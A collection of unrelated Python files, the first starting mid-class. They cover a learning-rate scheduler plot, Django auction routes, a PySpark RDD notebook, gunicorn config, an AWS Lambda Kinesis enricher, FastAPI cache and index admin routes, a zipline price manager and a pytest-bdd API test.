    def forward(self, x):
        return self.fc(x)

model = net()
lr0 = 6.73e-6
optimizer = Adam(model.parameters(), lr=lr0)

lr_list = [lr0]

lf = lambda x: (((1 + math.cos(x * math.pi / 100)) / 2) ** 1.0) * 0.8 + 0.2 if x < 100 else 0.1  # cosine

def nre_lr(x):
    if x < 45:
        return (((1 + math.cos(x * math.pi / 15)) / 2) ** 1.0) * 0.38 + 0.62
    elif 45 <= x < 50:
        return 0.62
    elif 50 <= x < 95:
        return (((1 + math.cos((x - 50) * math.pi / 15)) / 2) ** 1.0) * 1.99 + 2.60
    else:
        return 2.6

# scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=self_lr)
scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=nre_lr)

for epoch in range(100):
    optimizer.step()
    scheduler.step()
    lr = scheduler.get_lr()[0]
    lr_list.append(lr)
t = range(len(lr_list))
plt.plot(t, lr_list, color='r')
plt.show()


from django.urls import path

from . import views

app_name = "auctions"

urlpatterns = [
    path("", views.index, name="index"),
    path("login", views.login_view, name="login"),
    path("logout", views.logout_view, name="logout"),
    path("register", views.register, name="register"),
    path("add_listing", views.add_listing, name="add_listing"),
    path("listing/<int:item_id>/<int:user_id>/<str:message>", views.render_item, name="render_item"),
    path("listing/<int:item_id>", views.render_item_not_auth, name="render_item_not_auth"),
    path("listing/<int:item_id>/add_watchlist/<str:user_id>", views.add_watchlist, name="add_watchlist"),
    path("listing/<int:item_id>/remove_watchlist/<str:user_id>", views.remove_watchlist, name="remove_watchlist"),
    path("listing/<int:item_id>/place_bid/<str:user_id>", views.place_bid, name="place_bid"),
    path("listing/<int:item_id>/close_auction/<str:user_id>", views.close_auction, name="close_auction"),
    path("listing/<int:item_id>/add_comment/<str:user_id>)", views.add_comment, name="add_comment"),
    path("watchlist/<str:user_id>", views.render_watchlist, name="render_watchlist"),
    path("categories", views.show_categories, name="show_categories"),
    path("categories/sort_by_category/<str:category>", views.sort_by_category, name="sort_by_category")
]


# Databricks notebook source
# MAGIC %md
# MAGIC ##### Welcome  to Azurelib Academy By Deepak Goyal
# MAGIC ##### You can master the Databricks here: www.adeus.azurelib.com
# MAGIC ##### Author of this blog: Arud Seka Berne S in

# COMMAND ----------

# MAGIC %md
# MAGIC #### Create Pyspark Rdd in Azure Databricks

# COMMAND ----------

# MAGIC %md
# MAGIC ###### Gentle reminder:
# MAGIC In Databricks,
# MAGIC   - sparkSession made available as spark
# MAGIC   - sparkContext made available as sc
# MAGIC
# MAGIC In case, you want to create it manually, use the below code.

# COMMAND ----------

from pyspark.sql.session import SparkSession

spark = SparkSession.builder \
    .master("local[*]") \
    .appName("azurelib.com") \
    .getOrCreate()

sc = spark.sparkContext

# COMMAND ----------

# MAGIC %md
# MAGIC ##### 1) Creating RDD using paralelize()

# COMMAND ----------

rdd1 = sc.parallelize([1,2,3,4,5])
print(type(rdd1))
rdd1.collect()

# COMMAND ----------

# MAGIC %md
# MAGIC ##### 2) Creating RDD by reading files

# COMMAND ----------

# replace the file_path with the source file location which you have downloaded.

rdd2 = sc.textFile(file_path)
print(type(rdd2))
rdd2.collect()

# COMMAND ----------

# MAGIC %md
# MAGIC ##### 3) Creating empty RDD

# COMMAND ----------

# Method 1:
rdd3 = sc.emptyRDD()
rdd3.collect()

# Method 2:
rdd4 = sc.parallelize([])
rdd4.collect()

94. Create Pyspark Rdd/Create Pyspark Rdd - Notebook.py


import yaml
import multiprocessing

wsgi_app = "main:app"

bind = "0.0.0.0:8888"

worker_class = "uvicorn.workers.UvicornWorker"
workers = multiprocessing.cpu_count() * 2 + 1
# thread =

accesslog = "/var/log/gunicorn/access.log"
errorlog = "/var/log/gunicorn/error.log"

loglevel = "debug"
with open("./logging.yaml", "r") as conf:
    LOGGING = yaml.safe_load(conf)

reload = True
daemon = True

"""
import re
raw_env = []
with open("../.env", "r") as envs:
    while env := envs.readline():
        raw_env.append(re.sub("\n", "", env))
"""


import datetime

from django.utils.translation import ungettext as _
from django.utils.timezone import utc, get_current_timezone, now

def timesince(d):
    """
    Takes a datetime object and returns the time between d and now
    as a nicely formatted string, e.g. "10 minutes".

    Adapted from django.utils.timesince.timesince.
    """
    current_timezone = get_current_timezone()
    _date = d.astimezone(current_timezone)
    _now = now()

    today = datetime.datetime(_now.year, _now.month, _now.day, tzinfo=utc)
    delta = _now - _date
    delta_midnight = today - _date
    days = delta.days
    hours = int(round(delta.seconds / 3600., 0))
    minutes = int(round(delta.seconds / 60., 0))
    chunks = (
        (365.0, lambda n: _('year', 'years', n)),
        (30.0, lambda n: _('month', 'months', n)),
        (7.0, lambda n: _('week', 'weeks', n)),
        (1.0, lambda n: _('day', 'days', n)),
    )

    if days == 0:
        if hours == 0:
            if minutes > 0:
                return _('1 minute ago',
                         '{} minutes ago'.format(minutes), minutes)
            else:
                return 'less than 1 minute ago'
        else:
            return _('1 hour ago', '{} hours ago', hours).format(hours)

    if delta_midnight.days == 0:
        return 'yesterday at {}'.format(_date.strftime('%I:%M%p'))

    count = 0

    for i, (chunk, name) in enumerate(chunks):
        if days >= chunk:
            count = round((delta_midnight.days + 1) / chunk, 0)
            break

    return '{} {} ago'.format(int(count), name(count))


import boto3
import base64
import os
import json
from botocore.exceptions import ClientError

ddb = boto3.resource('dynamodb')

def getAddressList(tableName):
  try:
    table = ddb.Table(tableName)
    response = table.scan()
    return response['Items']
  except ClientError as err:
    print(err.response['Error'])
    raise

def lookupRecord(addressList, stationId):

  for rec in addressList:
    if stationId == rec['StationId']:
      return rec['Address']

def lambda_handler(event, context):
    output = []
    dynamoDBTableName = os.environ['dynamodb_table_name']
    addressList = getAddressList(dynamoDBTableName)

    for record in event['records']:
        kinesisRecord = json.loads(base64.b64decode(record['data']))
        stationAddRecord = lookupRecord(addressList,kinesisRecord['stationId'])
        kinesisRecord['stationAddress'] = stationAddRecord

        output_record = {
            'recordId': record['recordId'],
            'result': 'Ok',
            'data': base64.b64encode((json.dumps(kinesisRecord) +"\n").encode("utf-8"))
        }
        output.append(output_record)

    print('Successfully processed {} records.'.format(len(event['records'])))

    return {'records': output}


from typing import List, Optional

from fastapi import APIRouter

from app.apis import topic_views
from app.apis.util_routes import search
from app.utils.database import es_client, mongo_epigraphdb_web
from app.utils.logging import logger

router = APIRouter()

ES_EXCLUDE_PREFIX = ["embeddings-", ".apm-", ".kibana_"]

@router.get("/utils/cache/list", response_model=List[str])
def get_utils_cache_list() -> List[str]:
    """Returns the currently available cache collections."""
    colls = mongo_epigraphdb_web.list_collection_names()
    res = sorted(colls)
    return res

@router.get("/utils/cache/drop", response_model=bool)
def get_utils_cache_drop(
    collection_name: Optional[str] = None, all: bool = False
) -> bool:
    """Drop a mongodb collection, or every collection."""
    all_coll_names = mongo_epigraphdb_web.list_collection_names()
    if collection_name is not None and not all:
        if collection_name in all_coll_names:
            mongo_epigraphdb_web[collection_name].drop()
        new_all_coll_names = mongo_epigraphdb_web.list_collection_names()
        res = collection_name not in new_all_coll_names
        return res
    else:
        for collection_name in all_coll_names:
            mongo_epigraphdb_web[collection_name].drop()
        return True

@router.get("/utils/es/list", response_model=List[str])
def list_es_indices() -> List[str]:
    """Returns the currently available ES indices."""
    es_indices: List[str] = list(es_client.indices.get_alias("*").keys())
    return es_indices

@router.get("/utils/es/drop", response_model=bool)
def get_utils_es_drop(
    index_name: Optional[str] = None,
    all: bool = False,
    with_exclude: bool = False,
) -> bool:
    """Purge elasticsearch indices.

    - When specified with an `index_name`, drop it if it is not in exclude it
    - When `all`, drop all indices except those in exclude list
    - When `all` and `with_exclude`, drop all indices including those
      in exclude it
    """
    es_indices = list_es_indices()
    if index_name is not None:
        if index_name not in es_indices or not _es_index_not_exclude(
            index_name
        ):
            return False
        else:
            es_client.indices.delete(index=index_name, ignore=[400, 404])
            res = index_name not in list_es_indices()
            return res
    elif all:
        if not with_exclude:
            es_indices_subset = [
                _ for _ in es_indices if _es_index_not_exclude(_)
            ]
            for index in es_indices_subset:
                es_client.indices.delete(index=index, ignore=[400, 404])
            es_indices_subset = [
                _ for _ in list_es_indices() if _es_index_not_exclude(_)
            ]
            return len(es_indices_subset) == 0
        else:
            for index in es_indices:
                es_client.indices.delete(index=index, ignore=[400, 404])
            return len(list_es_indices()) == 0
    else:
        return False

@router.get("/utils/es/index", response_model=bool)
def get_utils_es_index(overwrite: bool = False) -> bool:
    logger.info("Index search indices.")
    assert search.get_index_all(overwrite=overwrite)
    logger.info("Index topic autocomplete indices.")
    index_funcs = [
        topic_views.mr.get_mr_ac_index,
        topic_views.obs_cor.get_obs_cor_ac_index,
        topic_views.genetic_cor.get_genetic_cor_ac_index,
        topic_views.confounder.get_confounder_ac_index,
        topic_views.drugs_risk_factors.get_drugs_risk_factors_ac_index,
        topic_views.pathway.get_pathway_ac_index,
        topic_views.prs.get_prs_ac_index,
        topic_views.xqtl.get_xqtl_ac_index,
        topic_views.literature_trait.get_literature_trait_ac_index,
        topic_views.ontology_trait_disease.get_ontology_trait_disease_ac_index,
    ]
    for func in index_funcs:
        logger.info(f"Indexing {func}")
        # NOTE: should refactor logics of overwrite
        # since some of the ac indices share the same
        assert func(overwrite=False)
    return True

def _es_index_not_exclude(index: str) -> bool:
    res = sum([not index.startswith(_) for _ in ES_EXCLUDE_PREFIX]) == len(
        ES_EXCLUDE_PREFIX
    )
    return res


import logbook
import pandas as pd
import zipline as zl
from datetime import datetime, timedelta
import pathlib
import azul
import numpy as np
from typing import List, Tuple

log = logbook.Logger('BasePriceManager')

class BasePriceManager(object):

    def __init__(self, calendar_name='NYSE'):
        self._calendar = zl.get_calendar(name=calendar_name)
        self._cols = ['open', 'high', 'low', 'close', 'volume', 'dividend', 'split']

        # The number of days the price manager will keep trying to pull data for a symbol that is not returning data.
        self.MISSING_DATE_THRESHOLD = 5

    def get_price_data(self, symbols: List[str], output_dir: str, start_date: datetime, end_date: datetime) -> None:
        minute_dir_path = pathlib.Path(output_dir, 'minute')
        daily_dir_path = pathlib.Path(output_dir, 'daily')

        for ticker in symbols:
            self._download_and_process_data(
                ticker, start_date, end_date, minute_dir_path, daily_dir_path)

    def _download_and_process_data(
            self,
            ticker: str,
            start_date: datetime,
            end_date: datetime,
            minute_dir_path: pathlib.Path,
            daily_dir_path: pathlib.Path
    ) -> None:
        df = self._minute_dataframe_for_dates(ticker, start_date, end_date)

        if df.empty:
            return

        df = self._check_sessions(df, ticker, frequency='minute')
        minute_dir_path.mkdir(parents=True, exist_ok=True)
        filename = pathlib.Path(minute_dir_path, ticker + '.csv')
        df.to_csv(filename)

        daily_df = self._resample_minute_data_to_daily_data(df)
        daily_df = self._check_sessions(daily_df, ticker, frequency='daily')
        daily_dir_path.mkdir(parents=True, exist_ok=True)
        filename = pathlib.Path(daily_dir_path, ticker + '.csv')
        daily_df.to_csv(filename)
        log.notice('Retrieved: {}'.format(ticker))

    def _resample_minute_data_to_daily_data(self, df):
        ohlc_dict = {
            'open': 'first',
            'high': 'max',
            'low': 'min',
            'close': 'last',
            'volume': 'sum',
            'dividend': 'last',
            'split': 'last'
        }

        if df.empty:
            daily_df = df
        else:
            daily_df = df.resample('D', closed='left', label='left').agg(ohlc_dict).dropna(how='any')

        # Resample mixes the columns so lets re-arrange them
        daily_df = daily_df[self._cols]
        return daily_df

    def _validated_start_and_end_dates(
            self,
            start_date: datetime,
            end_date: datetime
    ) -> Tuple[datetime, datetime]:
        """
        Creates valid start and end dates. Defaults to a start date of 30 calendar days ago and end date of today.

        Args:
            start_date (datetime): The start date.
            end_date (datetime): The end date.

        Returns:
            start_date (datetime): The validated start date.
            end_date (datetime): The validated end date.

        """
        today = datetime.today()
        if start_date is None:
            start_date = today - timedelta(days=30)

        if end_date is None:
            end_date = today

        if start_date > end_date:
            temp_date = start_date
            start_date = end_date
            end_date = temp_date

        return start_date, end_date

    def _minute_dataframe_for_dates(
            self,
            ticker: str,
            start_date: datetime,
            end_date: datetime
    ) -> pd.DataFrame:
        """
        Returns a DataFrame containing the all the minute bars for stock between the start and end dates.

        Args:
            ticker (str): Ticker symbol for the stock.
            start_date (datetime): Date to start pulling data.
            end_date (datetime): Date to stop pulling data.

        Returns:
            combined_df (DataFrame): Contains the all the minute bars for a stock between the start and end dates.

        """

        start_date, end_date = self._validated_start_and_end_dates(start_date, end_date)

        combined_df = pd.DataFrame(columns=self._cols)
        combined_df.index.name = 'date'

        #
        # # Get the date the symbol was listed on the exchange.
        # list_date = self._list_date(ticker)
        #
        # if list_date is not None:
        #     # If the we are asking for data from before the stock was listed, then set the start date to the day
        #     # the stock was listed.
        #     if list_date > start_date:
        #         log.info('The symbol {} was not listed until: {}. Adjusting start time.', ticker, list_date)
        #         start_date = list_date

        # Build a list of the trading days from the dates passed in.
        session_dates = self._calendar.sessions_in_range(start_date, end_date)

        if session_dates.empty:
            log.info('The symbol {} did not trade between {} and {} ', ticker, start_date, end_date)
            return combined_df

        # Iterate over the trading dates backwards. This means we don't need to know exactly
        # when the stock started trading. Note: this won't pull data for stocks that have been delisted.
        # TODO: Add code to capture data for delisted stocks.
        num_missing_dates = 0
        for timestamp in reversed(session_dates):
            df = self._minute_dataframe_for_date(ticker, timestamp)
            if df.empty:
                # Start counting the number of consecutive trading dates we are missing data.
                num_missing_dates += 1
                log.info('No minute data for {} on {}'.format(ticker, timestamp.date()))
            else:
                # reset missing date counter
                num_missing_dates = 0
                log.info('Retrieved minute data for {} on {}'.format(ticker, timestamp.date()))
                combined_df = pd.concat([combined_df, df])

            if num_missing_dates >= self.MISSING_DATE_THRESHOLD:
                log.info('No minute data for {} for {} days. Quitting.'.format(ticker, self.MISSING_DATE_THRESHOLD))
                break

        # Sort the dataframe oldest first, newest last.
        combined_df.sort_index(inplace=True)
        return combined_df

    # def _list_date(self, ticker: str) -> datetime:
    #     return None

    def _minute_dataframe_for_date(self, ticker: str, start_timestamp: pd.Timestamp) -> pd.DataFrame:
        raise NotImplementedError

    def _fixna(self, df, symbol):
        cols = ['close', 'high', 'low', 'open']
        df[cols] = df[cols].replace({0: np.nan})
        df[cols] = df[cols].replace({-1.0: np.nan})
        if df.isnull().sum().sum() > 0:
            # fixna_list.append(symbol)
            df['open'] = df['open'].bfill().ffill()
            df['close'] = df['close'].bfill().ffill()
            df.loc[df['low'].isnull(), 'low'] = df['open']
            df.loc[df['high'].isnull(), 'high'] = df['open']
            df.loc[df['close'].isnull(), 'close'] = df['open']
        return df

    def _check_sessions(self, df, ticker, frequency='daily'):

        # Remove any data that are outside of the trading sessions for the calendar.

        if df.empty:
            return df

        asset_first_day = df.index[0]
        asset_last_day = df.index[-1]
        sessions = self._calendar.sessions_in_range(asset_first_day, asset_last_day)
        asset_sessions = sessions[sessions.slice_indexer(asset_first_day, asset_last_day)]

        if frequency == 'minute':
            minutes_passed = len(df)
            asset_first_day = self._calendar.minute_to_session_label(asset_first_day, direction='next')
            asset_last_day = self._calendar.minute_to_session_label(asset_last_day, direction='previous')
            minutes_in_session = self._calendar.minutes_for_sessions_in_range(asset_first_day, asset_last_day)
            df = df[df.index.isin(minutes_in_session)]
            if (minutes_passed) > len(minutes_in_session):
                # print('Removed ' + str((minutes_passed) - len(minutes_in_session)) + ' minutes')
                pass
            elif minutes_passed < len(minutes_in_session):
                num_missing_sessions = len(minutes_in_session) - minutes_passed
                log.info('Missing sessions for {}'.format(ticker))
        elif frequency == 'daily' and len(df) != len(asset_sessions):
            missing_sessions = asset_sessions.difference(
                pd.to_datetime(np.array(df.index), unit='s', utc=True, )).tolist()
            extra_sessions = pd.to_datetime(np.array(df.index), unit='s', utc=True, ).difference(
                asset_sessions).tolist()
            if len(missing_sessions) > 0:
                # missing_sessions_list.append(symbol)
                # print('Adding ' + str(len(missing_sessions)) + ' sessions for ' + str(ticker))
                pass
            if len(extra_sessions) > 0:
                # extra_sessions_list.append(symbol)
                # print('Removing ' + str(len(extra_sessions)) + ' sessions for ' + str(symbol))
                pass
            for missing_session in missing_sessions:
                prev_date = self._calendar.previous_session_label(missing_session)
                row_to_copy = df[(df.index == prev_date)]
                row_to_copy_val = row_to_copy.values
                # from IPython import embed; embed()
                df.loc[missing_session] = row_to_copy_val[0]
                df.loc[missing_session].volume = 0
                # row = row_to_copy
                # table.append(row)

            for extra_session in extra_sessions:
                # delete stuff
                df.drop(extra_session)

        if frequency == 'minute':
            log.info('Downloaded and processed {} minute bars for {}', len(df), ticker)
        else:
            log.info('Downsampled {} daily bars for {}', len(df), ticker)

        return df


import pytest
import requests
from pytest_bdd import scenarios, when, then

# public api to get random single or two-part jokes of a random category
JOKES_API = "https://v2.jokeapi.dev/joke/Any"

# path to feature file
scenarios("../features/multiple_jokes.feature", example_converters=dict(number_of_jokes=int,
                                                                        response_number_of_jokes=int))

# 'when' behavior test
# calls jokes api with specified number of jokes
@pytest.fixture
@when('the Jokes API is queried with "<number_of_jokes>"')
def joke_response(number_of_jokes):
    params = {'format': 'json', 'amount': number_of_jokes}
    response = requests.get(JOKES_API, params=params)
    return response

# 'then' behavior test
# tests the data responded from the jokes api call, ensuring the correct number of jokes was returned
@pytest.fixture
@then('the response contains "<response_number_of_jokes>"')
def test_joke_response_amount(joke_response, response_number_of_jokes):
    # actual
    json_response = joke_response.json()
    # check actual vs expected and assert
    assert len(json_response["jokes"]) == response_number_of_jokes

# 'then' behavior test
# tests that the response status code from the jokes api was success (200)
@pytest.fixture
@then("the response status code is 200")
def test_joke_response_success(joke_response):
    # check actual vs expected and assert
    assert joke_response.status_code == 200